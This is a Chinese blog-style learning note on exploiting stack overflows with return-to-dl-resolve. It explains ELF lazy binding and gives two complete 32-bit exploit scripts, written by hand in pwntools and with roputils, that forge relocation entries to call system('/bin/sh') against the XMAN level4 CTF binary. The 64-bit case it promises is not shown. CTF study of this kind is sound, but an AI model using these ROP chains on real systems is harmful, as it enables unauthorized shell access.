最近学习了一下漏洞原理与利用,学习到栈溢出漏洞利用的一些技巧,记录下自己的学习心得。关于return to dl-resolve的原理,网上有许多的文章已经写的很清楚了,就不赘述。本文主要是根据return to dl-resolve的原理,实现32位和64位环境下的漏洞利用。
0x00. 准备知识 (1) 实验环境: 64bit Ubuntu16.04, kernel : 4.4.0(2) 32位与64位区别: Linux下32位应用的参数传递主要是通过栈来传递;而64位应用的前六个参数分别通过RDI, RSI, RDX, RCX, R8和 R9传递,如果有多余的参数,才会通过栈来传递。因此,在覆盖返回值时,平衡堆栈时就需要用到gadget。(3) return to dl-resolve Linux下可执行文件ELF的动态链接时,采用了延迟绑定技术。原理是:动态链接的库里有许多函数,但是可执行文件ELF不会全部调用这些函数,有些函数直到程序运行结束也不会被调用。因此,Linux下的链接器动态链接时不会进行函数地址重定位,而是等到函数第一次被调用时,进行函数地址重地位,也就是通过_dl_runtime_resolve函数到库中查找该函数的实际地址,并将其写入到该函数的got表中。 当栈溢出后,我们就可以控制程序流程到dl-resolve,解析出system函数的地址,从而实现漏洞的利用。
0x01. 32位环境下的return to dl-resolve实例 下面以XMAN level4为例,分别使用手写和使用工具roputils实现漏洞利用。return to dl-resolve by manul
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *DEBUG = 1 if DEBUG: context.log_level = 'debug' p = process('./level4' ) gdb.attach(p) else : p = remote('127.0.0.1' , 10086 ) offset = 0x8c stack_size = 0x400 vulfun = 0x0804844b bss_addr = 0x804a024 base_stage = bss_addr + stack_size pppr = 0x8048509 p_ebp_r = 0x804850b leave_r = 0x80483b8 elf = ELF('./level4' ) write_plt = elf.plt['write' ] read_plt = elf.plt['read' ] write_got = elf.got['write' ] def main (): payload1 = 'A' * offset + p32(read_plt) + p32(pppr) + p32(0 ) + p32(base_stage) payload1 += p32(100 ) + p32(p_ebp_r) + p32(base_stage) + p32(leave_r) p.sendline(payload1) plt_start = 0x8048300 rel_plt = 0x80482b0 index_offset = (base_stage + 28 ) - rel_plt dynsym_addr = 0x80481cc dynstr_addr = 0x804822c fake_sym = base_stage + 36 align = 0x10 - ((fake_sym - dynsym_addr) & 0xf ) fake_sym = fake_sym +align index_dynsym = (fake_sym - dynsym_addr) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym + 16 ) - dynstr_addr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'B' * 4 + p32(plt_start) +p32(index_offset) + 'C' *4 + p32(base_stage+80 ) payload2 += 'A' *8 + fake_reloc + 'D' *align payload2 += fake_sym + 'system\x00' payload2 = payload2.ljust(80 , 'A' ) payload2 += '/bin/sh\x00' payload2 = payload2.ljust(100 , 'A' ) p.sendline(payload2) p.interactive() if __name__ == '__main__' : main()
return to dl-resolve by roputils
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from roputils import *DEBUG = 1 fpath = './level4' offset = 0x8c rop = ROP(fpath) addr_bss = rop.section('.bss' ) addr_plt_read = 0x08048310 addr_got_read = 0x0804a00c buf = rop.retfill(offset) buf += rop.call(addr_plt_read, 0 , addr_bss, 100 ) buf += rop.dl_resolve_call(addr_bss+20 , addr_bss) if DEBUG: p = Proc(rop.fpath) else : p = Proc(host='pwn2.jarvisoj.com' , port=9880 ) p.write(p32(len (buf)) + buf) print "[+] read: %r" % p.read(len (buf))buf = rop.string('/bin/sh' ) buf += rop.fill(20 , buf) buf += rop.dl_resolve_data(addr_bss+20 , 'system' ) buf += rop.fill(100 , buf) p.write(buf) p.interact(0 )
0x02. 参考文献: 1. ROP之return to dl-resolve 2. 通过ELF动态装载构造ROP链(Return-to-dl-resolve)